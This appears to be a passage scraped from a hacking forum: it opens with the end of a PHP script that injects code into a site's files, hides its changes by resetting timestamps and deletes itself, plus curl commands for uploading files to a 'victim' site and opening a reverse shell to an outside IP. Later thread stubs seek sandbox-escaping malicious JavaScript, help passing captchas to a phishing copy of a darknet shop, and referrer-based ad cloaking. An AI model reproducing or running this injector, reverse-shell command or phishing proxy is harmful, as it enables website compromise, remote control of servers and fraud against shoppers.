        $p .= "\n<?php $m ?>\n";
    }

    file_put_contents($l, $p);
    touch($l, $o);
    unlink($n);

    return true;
}

foreach ($h as $l) {
    $q = jK($l, $i);
    if ($q) {
        echo "succ for: " . realpath($l) . "<br>";
    } else {
        echo "failed for: " . realpath($l) . "<br>";
    }
}

echo "Succ";
?>

_interact injected code in victim 's pages via curl _
curl -F "4pzDK15j=@C:\myhomepc\my-file.php" -F "Z9A1B3D=my-file.php" http://victim-site.com/index.php

will send 'my-file.php' to victim htdocs

curl -X POST -d "KH4AW4a2=$sock=fsockopen("155.55.150.200",4443);sh <&3 >&3 2>&3;" http://localhost/index.php

will send a back connection

note:remove the eval function for a cleaner payload

Присвоить переменной значение из MySQL
ID: 67668b27b4103b69df375d57
Thread ID: 65951
Created: 2022-04-21T10:18:45+0000
Last Post: 2022-04-21T12:37:42+0000
Author: GrayByte
Replies: 4 Views: 211

Добрый день, Господа. Будьте любезны уделите минуту времени)
Есть таблица users которая содержит два столбца:
id - содержит уникальный идентификатор
name - содержит строку с уникальным значением

Мне нужно отправить на PHP запрос $user = "SELECT id FROM users WHERE name = '$id_user'";
в результате я получаю уникальный идентификатор из столбца id в котором значение name соответствует переменной $id_user

Как мне этот результат сохранить в переменную $id?
Сорри за глупый вопрос) Уже несколько часов ковыряюсь в поиске и не могу найти ответ)
Заранее благодарю)

Looking for IMAP spider
ID: 67668b27b4103b69df375ca7
Thread ID: 128013
Created: 2024-12-01T17:57:15+0000
Last Post: 2024-12-01T17:57:15+0000
Author: marcelinox63
Replies: 0 Views: 209

Hello, I am looking for the IMAP spider updated script. I have version 11.03 and it seems that is not working anymore.

Leveraging JavaScript Injection
ID: 67668b27b4103b69df375d4b
Thread ID: 69786
Created: 2022-07-07T14:41:56+0000
Last Post: 2022-07-07T14:41:56+0000
Author: 3LineLarry
Replies: 0 Views: 207

I am hacking a smart device and have found a JavaScript injection vulnerability and need advice or new ideas on how to leverage it into an active shell session or how to enumerate it further. I already have access to the basic file system and have enumerated lots of info on it. I am in need of malicious JavaScript code that can bypass a sand boxed browser and help obtain a shell or download a malicious apk. Any ideas to help run malicious JavaScript code to enumerate the device or elevate privileges on the filesystem or really any new ideas would be heavily appreciated! Thanks!!

Learning pho
ID: 67668b27b4103b69df375d2c
Thread ID: 82754
Created: 2023-02-26T12:33:34+0000
Last Post: 2023-02-26T12:33:34+0000
Author: man514lo
Replies: 0 Views: 198

Hi yall, i need a good website to refresh my memory with most up to date PHP please. Haven’t touched it in years and want to get back to it. Any good website please, thanks!

ищу толкового спеца по MySQL
ID: 67668b27b4103b69df375d54
Thread ID: 67174
Created: 2022-05-18T04:26:13+0000
Last Post: 2022-05-18T04:26:13+0000
Author: Aristokrat
Replies: 0 Views: 195

dell

Средство поиска ошибок в коде PHP
ID: 67668b27b4103b69df375d76
Thread ID: 58933
Created: 2021-11-16T05:35:28+0000
Last Post: 2021-11-16T05:35:28+0000
Author: Yale
Replies: 0 Views: 189

Получение исходного кода сайта PHP, с помощью которого можно найти лазейки на сайте

JScript Windows
ID: 67668b27b4103b69df375d21
Thread ID: 86467
Created: 2023-04-22T18:12:43+0000
Last Post: 2023-04-22T18:12:43+0000
Author: SouthCore
Replies: 0 Views: 186

Нужен,срочно

Help
ID: 67668b27b4103b69df375d7a
Thread ID: 57065
Created: 2021-09-25T16:44:32+0000
Last Post: 2021-09-29T17:25:25+0000
Author: tcpx51
Replies: 1 Views: 185

¡¡por favor ayuda!! Tengo un problema con una aplicación que fue diseñada en delphi y se conecta a una base de datos de postgres, la computadora donde se instaló falló pero logró rescatar todos los archivos de la aplicación y las copias de seguridad .backup y la base de datos .sql, hay algo de cómo volver a montar la aplicación para que funcione? Por favor, cualquier sugerencia o ayuda me ayudaría mucho.

Плиз помогите прокинуть капчу через curl
ID: 67668b27b4103b69df375d4d
Thread ID: 69706
Created: 2022-07-05T19:21:03+0000
Last Post: 2022-07-05T19:21:03+0000
Author: HarweyDavis
Replies: 0 Views: 165

Приветствую, господа, не сочтите мой вопрос нубским или глупым, так как только разбираюсь в php, хочу замутить фейк страницу одного шопа но там капча, так вот не могу передать ее на свой фейк

Code:Copy to clipboard

if( ($myCurl = curl_init()) != true) {die("No cure init");}

curl_setopt($myCurl, CURLOPT_HTTPHEADER, $outheads);
curl_setopt($myCurl, CURLOPT_USERAGENT, $outheads['User-Agent'] );
curl_setopt($myCurl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($myCurl, CURLOPT_MAXREDIRS, 10);
curl_setopt($myCurl, CURLOPT_TIMEOUT, 30);
curl_setopt($myCurl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($myCurl, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($myCurl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($myCurl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($myCurl, CURLOPT_PROXYTYPE, 7);
curl_setopt($myCurl, CURLOPT_PROXY, "127.0.0.1:9050");
$reload = false;

if( strlen( session_id() ) > 0 ) {
$cookiefile = dirname(__FILE__) . '/tmpcookies/' . session_id().'.txt';

if(!file_exists($cookiefile) && file_exists(dirname(__FILE__) . '/tmpcookies/maincook.txt')) copy(dirname(__FILE__) . '/tmpcookies/maincook.txt',$cookiefile);  //кукисы

curl_setopt($myCurl, CURLOPT_COOKIEFILE, $cookiefile );
curl_setopt($myCurl, CURLOPT_COOKIEJAR, $cookiefile);
} else {$reload = true;}
curl_setopt($myCurl, CURLOPT_URL, $uri.$uripath);

if($isPost) {
    curl_setopt($myCurl, CURLOPT_POST, $isPost);
    curl_setopt($myCurl, CURLOPT_POSTFIELDS, http_build_query($clPost));
}
$response = curl_exec($myCurl);

if($reload) {
    header("HTTP/1.1 302 Moved Permanently",true,302);
    header("Location: $self");
    exit();
}

вот этот код использую и хрен пойму как ее передать, что где прописать

Заранее спасибо

Забыл дописать, что основной сайт в даркнете и я хочу сделать фейк в клире

How do I show site content only to users who came from a specific reference?
ID: 67668b27b4103b69df375d4c
Thread ID: 69762
Created: 2022-07-06T23:35:10+0000
Last Post: 2022-07-06T23:35:10+0000
Author: jonsama
Replies: 0 Views: 147

Lately I have seen sites like link shorteners, pirated movies and other content that, for example, google adsense does not allow monetization being monetized by adsense, the owners of these sites do the same method to circumvent the google system. The user is redirected to a website /content page where adsense allows monetization, but when they are directed from a specific reference the page changes showing another type of content, I will give you some examples:

![prnt.sc](/proxy.php?image=https%3A%2F%2Fimg001.prntscr.com%2Ffile%2Fimg001%2F_P- lnQYcRCSLMpO0aPkDFw.png&hash=70fedb71c641935682ead0f964dbd274&return_error=1)

Screenshot

Captured with Lightshot

prnt.sc prnt.sc

prnt.sc

Screenshot

Captured with Lightshot

prnt.sc prnt.sc

prnt.sc

Screenshot

Captured with Lightshot

prnt.sc prnt.sc

There are other sites I can cite that do the same thing like: exe.io , fc.lc , megafilmeseseriesonline.top , megaserieson.online , assistirseriesonlinegratis.biz

among others hundreds or maybe thousands of sites that do this,It seems like something so simple but I've been trying to understand how it works for days, what kind of script do they use? Can any kind soul enlighten me with this answer?

JScript Windows
ID: 67668b27b4103b69df375d22
Thread ID: 86466
Created: 2023-04-22T18:10:47+0000
Last Post: 2023-04-22T18:10:47+0000
Author: SouthCore
Replies: 0 Views: 132

Нужен, срочно